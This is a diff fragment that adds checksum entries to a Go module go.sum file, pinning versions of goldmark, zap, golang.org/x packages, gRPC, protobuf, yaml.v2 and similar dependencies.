+github.com/yuin/goldmark v1.2.1/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
+go.etcd.io/bbolt v1.3.2/go.mod h1:IbVyRI1SCnLcuJnV2u8VeU0CEYM7e686BmAb1XKL+uU=
+go.opencensus.io v0.21.0/go.mod h1:mSImk1erAIZhrmZN+AvHh14ztQfjbGwt4TtuofqLduU=
+go.opencensus.io v0.22.0/go.mod h1:+kGneAE2xo2IficOXnaByMWTGM9T73dGwxeWcUqIpI8=
+go.uber.org/atomic v1.4.0/go.mod h1:gD2HeocX3+yG+ygLZcrzQJaqmWj9AIm7n08wl/qW/PE=
+go.uber.org/atomic v1.7.0 h1:ADUqmZGgLDDfbSL9ZmPxKTybcoEYHgpYfELNoN+7hsw=
+go.uber.org/atomic v1.7.0/go.mod h1:fEN4uk6kAWBTFdckzkM89CLk9XfWZrxpCo0nPH17wJc=
+go.uber.org/goleak v1.1.11 h1:wy28qYRKZgnJTxGxvye5/wgWr1EKjmUDGYox5mGlRlI=
+go.uber.org/multierr v1.1.0/go.mod h1:wR5kodmAFQ0UK8QlbwjlSNy0Z68gJhDJUG5sjR94q/0=
+go.uber.org/multierr v1.6.0 h1:y6IPFStTAIT5Ytl7/XYmHvzXQ7S3g/IeZW9hyZ5thw4=
+go.uber.org/multierr v1.6.0/go.mod h1:cdWPpRnG4AhwMwsgIHip0KRBQjJy5kYEpYjJxpXp9iU=
+go.uber.org/zap v1.10.0/go.mod h1:vwi/ZaCAaUcBkycHslxD9B2zi4UTXhF60s6SWpuDF0Q=
+go.uber.org/zap v1.23.0 h1:OjGQ5KQDEUawVHxNwQgPpiypGHOxo2mNZsOqTak4fFY=
+go.uber.org/zap v1.23.0/go.mod h1:D+nX8jyLsMHMYrln8A0rJjFt/T/9/bGgIhAqxv5URuY=
+golang.org/x/crypto v0.0.0-20180904163835-0709b304e793/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4=
+golang.org/x/crypto v0.0.0-20181029021203-45a5f77698d3/go.mod h1:6SG95UA2DQfeDnfUPMdvaQW0Q7yPrPDi9nlGo2tz2b4=
+golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=
+golang.org/x/crypto v0.0.0-20190510104115-cbcb75029529/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
+golang.org/x/crypto v0.0.0-20190605123033-f99c8df09eb5/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
+golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI=
+golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
+golang.org/x/crypto v0.0.0-20201016220609-9e8e0b390897/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto=
+golang.org/x/crypto v0.0.0-20210322153248-0c34fe9e7dc2/go.mod h1:T9bdIzuCu7OtxOm1hfPfRQxPLYneinmdGuTeoZ9dtd4=
+golang.org/x/crypto v0.0.0-20210513164829-c07d793c2f9a/go.mod h1:P+XmwS30IXTQdn5tA2iutPOUgjI07+tq3H3K9MVA1s8=
+golang.org/x/crypto v0.0.0-20220829220503-c86fa9a7ed90 h1:Y/gsMcFOcR+6S6f3YeMKl5g+dZMEWqcz5Czj/GWYbkM=
+golang.org/x/crypto v0.0.0-20220829220503-c86fa9a7ed90/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4=
+golang.org/x/exp v0.0.0-20181106170214-d68db9428509/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA=
+golang.org/x/exp v0.0.0-20190121172915-509febef88a4/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA=
+golang.org/x/exp v0.0.0-20190306152737-a1d7652674e8/go.mod h1:CJ0aWSM057203Lf6IL+f9T1iT9GByDxfZKAQTCR3kQA=
+golang.org/x/exp v0.0.0-20190510132918-efd6b22b2522/go.mod h1:ZjyILWgesfNpC6sMxTJOJm9Kp84zZh5NQWvqDGG3Qr8=
+golang.org/x/exp v0.0.0-20190829153037-c13cbed26979/go.mod h1:86+5VVa7VpoJ4kLfm080zCjGlMRFzhUhsZKEZO7MGek=
+golang.org/x/exp v0.0.0-20191030013958-a1ab85dbe136/go.mod h1:JXzH8nQsPlswgeRAPE3MuO9GYsAcnJvJ4vnMwN/5qkY=
+golang.org/x/image v0.0.0-20190227222117-0694c2d4d067/go.mod h1:kZ7UVZpmo3dzQBMxlp+ypCbDeSB+sBbTgSJuh5dn5js=
+golang.org/x/image v0.0.0-20190802002840-cff245a6509b/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0=
+golang.org/x/image v0.0.0-20200119044424-58c23975cae1/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0=
+golang.org/x/image v0.0.0-20210220032944-ac19c3e999fb/go.mod h1:FeLwcggjj3mMvU+oOTbSwawSJRM1uh48EjtB4UJZlP0=
+golang.org/x/lint v0.0.0-20181026193005-c67002cb31c3/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE=
+golang.org/x/lint v0.0.0-20190227174305-5b3e6a55c961/go.mod h1:wehouNa3lNwaWXcvxsM5YxQ5yQlVC4a0KAMCusXpPoU=
+golang.org/x/lint v0.0.0-20190301231843-5614ed5bae6f/go.mod h1:UVdnD1Gm6xHRNCYTkRU2/jEulfH38KcIWyp/GAMgvoE=
+golang.org/x/lint v0.0.0-20190313153728-d0100b6bd8b3/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc=
+golang.org/x/lint v0.0.0-20190409202823-959b441ac422/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc=
+golang.org/x/lint v0.0.0-20190909230951-414d861bb4ac/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc=
+golang.org/x/lint v0.0.0-20190930215403-16217165b5de/go.mod h1:6SW0HCj/g11FgYtHlgUYUwCkIfeOF89ocIRzGO/8vkc=
+golang.org/x/mobile v0.0.0-20181026062114-a27dd33d354d/go.mod h1:z+o9i4GpDbdi3rU15maQ/Ox0txvL9dWGYEHz965HBQE=
+golang.org/x/mobile v0.0.0-20190312151609-d3739f865fa6/go.mod h1:z+o9i4GpDbdi3rU15maQ/Ox0txvL9dWGYEHz965HBQE=
+golang.org/x/mobile v0.0.0-20190719004257-d2bd2a29d028/go.mod h1:E/iHnbuqvinMTCcRqshq8CkpyQDoeVncDDYHnLhea+o=
+golang.org/x/mod v0.0.0-20190513183733-4bf6d317e70e/go.mod h1:mXi4GBBbnImb6dmsKGUJ2LatrhH/nqhxcFungHvyanc=
+golang.org/x/mod v0.1.0/go.mod h1:0QHyrYULN0/3qlju5TqG8bIK38QM8yzMo5ekMj3DlcY=
+golang.org/x/mod v0.3.0/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA=
+golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
+golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
+golang.org/x/net v0.0.0-20180906233101-161cd47e91fd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
+golang.org/x/net v0.0.0-20181023162649-9b4f9f5ad519/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
+golang.org/x/net v0.0.0-20181114220301-adae6a3d119a/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
+golang.org/x/net v0.0.0-20181201002055-351d144fa1fc/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
+golang.org/x/net v0.0.0-20181220203305-927f97764cc3/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
+golang.org/x/net v0.0.0-20190108225652-1e06a53dbb7e/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
+golang.org/x/net v0.0.0-20190213061140-3a22650c66bd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
+golang.org/x/net v0.0.0-20190311183353-d8887717615a/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
+golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
+golang.org/x/net v0.0.0-20190501004415-9ce7a6920f09/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
+golang.org/x/net v0.0.0-20190503192946-f4e77d36d62c/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=
+golang.org/x/net v0.0.0-20190603091049-60506f45cf65/go.mod h1:HSz+uSET+XFnRR8LxR5pz3Of3rY3CfYBVs4xY44aLks=
+golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=
+golang.org/x/net v0.0.0-20200520004742-59133d7f0dd7/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A=
+golang.org/x/net v0.0.0-20201021035429-f5854403a974/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU=
+golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=
+golang.org/x/net v0.0.0-20210610132358-84b48f89b13b/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
+golang.org/x/net v0.0.0-20220722155237-a158d28d115b h1:PxfKdU9lEEDYjdIzOtC4qFWgkU2rGHdKlKowJSMN9h0=
+golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U=
+golang.org/x/oauth2 v0.0.0-20190226205417-e64efc72b421/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw=
+golang.org/x/oauth2 v0.0.0-20190604053449-0f29369cfe45/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw=
+golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
+golang.org/x/sync v0.0.0-20181108010431-42b317875d0f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
+golang.org/x/sync v0.0.0-20181221193216-37e7f081c4d4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
+golang.org/x/sync v0.0.0-20190227155943-e225da77a7e6/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
+golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
+golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
+golang.org/x/sys v0.0.0-20180823144017-11551d06cbcc/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
+golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
+golang.org/x/sys v0.0.0-20180905080454-ebe1bf3edb33/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
+golang.org/x/sys v0.0.0-20180909124046-d0be0721c37e/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
+golang.org/x/sys v0.0.0-20181026203630-95b1ffbd15a5/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
+golang.org/x/sys v0.0.0-20181107165924-66b7b1311ac8/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
+golang.org/x/sys v0.0.0-20181116152217-5ac8a444bdc5/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
+golang.org/x/sys v0.0.0-20181128092732-4ed8d59d0b35/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
+golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
+golang.org/x/sys v0.0.0-20190312061237-fead79001313/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20190502145724-3ef323f4f1fd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20190507160741-ecd444e8653b/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20190606165138-5da285871e9c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20190624142023-c5567b49c5d0/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20190904154756-749cb33beabd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20191005200804-aed5e4c7ecf9/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20191120155948-bd437916bb0e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20200323222414-85ca7c5b95cd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20210112080510-489259a85091/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20210119212857-b64e53b001e4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20210403161142-5e06dd20ab57/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20220503163025-988cb79eb6c6/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
+golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f h1:v4INt8xihDGvnrfjMDVXGxw9wrfxYyCjk0KbXjhR55s=
+golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
+golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1 h1:v+OssWQX+hTHEmOBgwxdZxK4zHq3yOs8F9J7mk0PY8E=
+golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
+golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
+golang.org/x/text v0.3.1-0.20180807135948-17ff2d5776d2/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
+golang.org/x/text v0.3.2/go.mod h1:bEr9sfX3Q8Zfm5fL9x+3itogRgK3+ptLWKqgva+5dAk=
+golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
+golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
+golang.org/x/text v0.3.7 h1:olpwvP2KacW1ZWvsR7uQhoyTYvKAupfQrRGBFM352Gk=
+golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=
+golang.org/x/time v0.0.0-20181108054448-85acf8d2951c/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
+golang.org/x/time v0.0.0-20190308202827-9d24e82272b4/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ=
+golang.org/x/tools v0.0.0-20180221164845-07fd8470d635/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
+golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
+golang.org/x/tools v0.0.0-20190114222345-bf090417da8b/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
+golang.org/x/tools v0.0.0-20190226205152-f727befe758c/go.mod h1:9Yl7xja0Znq3iFh3HoIrodX9oNMXvdceNzlUR8zjMvY=
+golang.org/x/tools v0.0.0-20190311212946-11955173bddd/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs=
+golang.org/x/tools v0.0.0-20190312151545-0bb0c0a6e846/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs=
+golang.org/x/tools v0.0.0-20190312170243-e65039ee4138/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs=
+golang.org/x/tools v0.0.0-20190328211700-ab21143f2384/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs=
+golang.org/x/tools v0.0.0-20190425150028-36563e24a262/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q=
+golang.org/x/tools v0.0.0-20190506145303-2d16b83fe98c/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q=
+golang.org/x/tools v0.0.0-20190606124116-d0a3d012864b/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc=
+golang.org/x/tools v0.0.0-20190621195816-6e04913cbbac/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc=
+golang.org/x/tools v0.0.0-20190628153133-6cdbf07be9d0/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc=
+golang.org/x/tools v0.0.0-20190816200558-6889da9d5479/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
+golang.org/x/tools v0.0.0-20190911174233-4f2ddba30aff/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
+golang.org/x/tools v0.0.0-20191012152004-8de300cfc20a/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
+golang.org/x/tools v0.0.0-20191112195655-aa38f8e97acc/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
+golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=
+golang.org/x/tools v0.0.0-20201224043029-2b0845dc783e/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA=
+golang.org/x/tools v0.1.0/go.mod h1:xkSsbof2nBLbhDlRMhhhyNLN/zl3eTqcnHD5viDpcZ0=
+golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
+golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
+golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
+golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
+google.golang.org/api v0.4.0/go.mod h1:8k5glujaEP+g9n7WNsDg8QP6cUVNI86fCNMcbazEtwE=
+google.golang.org/api v0.7.0/go.mod h1:WtwebWUNSVBH/HAw79HIFXZNqEvBhG+Ra+ax0hx3E3M=
+google.golang.org/api v0.8.0/go.mod h1:o4eAsZoiT+ibD93RtjEohWalFOjRDx6CVaqeizhEnKg=
+google.golang.org/api v0.9.0/go.mod h1:o4eAsZoiT+ibD93RtjEohWalFOjRDx6CVaqeizhEnKg=
+google.golang.org/api v0.13.0/go.mod h1:iLdEw5Ide6rF15KTC1Kkl0iskquN2gFfn9o9XIsbkAI=
+google.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM=
+google.golang.org/appengine v1.4.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4=
+google.golang.org/appengine v1.5.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4=
+google.golang.org/appengine v1.6.1/go.mod h1:i06prIuMbXzDqacNJfV5OdTW448YApPu5ww/cMBSeb0=
+google.golang.org/genproto v0.0.0-20180817151627-c66870c02cf8/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc=
+google.golang.org/genproto v0.0.0-20190307195333-5fe7a883aa19/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE=
+google.golang.org/genproto v0.0.0-20190418145605-e7d98fc518a7/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE=
+google.golang.org/genproto v0.0.0-20190425155659-357c62f0e4bb/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE=
+google.golang.org/genproto v0.0.0-20190502173448-54afdca5d873/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE=
+google.golang.org/genproto v0.0.0-20190801165951-fa694d86fc64/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc=
+google.golang.org/genproto v0.0.0-20190819201941-24fa4b261c55/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc=
+google.golang.org/genproto v0.0.0-20190911173649-1774047e7e51/go.mod h1:IbNlFCBrqXvoKpeg0TB2l7cyZUmoaFKYIwrEpbDKLA8=
+google.golang.org/genproto v0.0.0-20191108220845-16a3f7862a1a/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc=
+google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c=
+google.golang.org/grpc v1.20.1/go.mod h1:10oTOabMzJvdu6/UiuZezV6QK5dSlG84ov/aaiqXj38=
+google.golang.org/grpc v1.21.1/go.mod h1:oYelfM1adQP15Ek0mdvEgi9Df8B9CZIaU1084ijfRaM=
+google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8=
+google.golang.org/protobuf v0.0.0-20200221191635-4d8936d0db64/go.mod h1:kwYJMbMJ01Woi6D6+Kah6886xMZcty6N08ah7+eCXa0=
+google.golang.org/protobuf v0.0.0-20200228230310-ab0ca4ff8a60/go.mod h1:cfTl7dwQJ+fmap5saPgwCLgHXTUD7jkjRqWcaiX5VyM=
+google.golang.org/protobuf v1.20.1-0.20200309200217-e05f789c0967/go.mod h1:A+miEFZTKqfCUM6K7xSMQL9OKL/b6hQv+e19PK+JZNE=
+google.golang.org/protobuf v1.21.0/go.mod h1:47Nbq4nVaFHyn7ilMalzfO3qCViNmqZ2kzikPIcrTAo=
+google.golang.org/protobuf v1.23.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU=
+gopkg.in/alecthomas/kingpin.v2 v2.2.6/go.mod h1:FMv+mEhP44yOT+4EoQTLFTRgOQ1FBLkstjWtayDeSgw=
+gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
+gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
+gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk=
+gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q=
+gopkg.in/errgo.v2 v2.1.0/go.mod h1:hNsd1EY+bozCKY1Ytp96fpM3vjJbqLJn88ws8XvfDNI=
+gopkg.in/fsnotify.v1 v1.4.7/go.mod h1:Tz8NjZHkW78fSQdbUxIjBTcgA1z1m8ZHf0WmKUhAMys=
+gopkg.in/ini.v1 v1.51.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k=
+gopkg.in/mgo.v2 v2.0.0-20190816093944-a6b53ec6cb22 h1:VpOs+IwYnYBaFnrNAeB8UUWtL3vEUnzSCL1nVjPhqrw=
+gopkg.in/mgo.v2 v2.0.0-20190816093944-a6b53ec6cb22/go.mod h1:yeKp02qBN3iKW1OzL3MGk2IdtZzaj7SFntXj72NppTA=
+gopkg.in/resty.v1 v1.12.0/go.mod h1:mDo4pnntr5jdWRML875a/NmxYqAlA73dVijT2AXvQQo=
+gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7 h1:uRGJdciOHaEIrze2W8Q3AKkepLTh2hOroT7a+7czfdQ=
+gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7/go.mod h1:dt/ZhP58zS4L8KSrWDmTeBkI65Dw0HsyUHuEVlX15mw=
+gopkg.in/yaml.v2 v2.0.0-20170812160011-eb3733d160e7/go.mod h1:JAlM8MvJe8wmxCU4Bli9HhUf9+ttbYbLASfIpnQbh74=
+gopkg.in/yaml.v2 v2.2.1/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
+gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
+gopkg.in/yaml.v2 v2.2.4/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
+gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
+gopkg.in/yaml.v2 v2.3.0/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
+gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY=
+gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ=
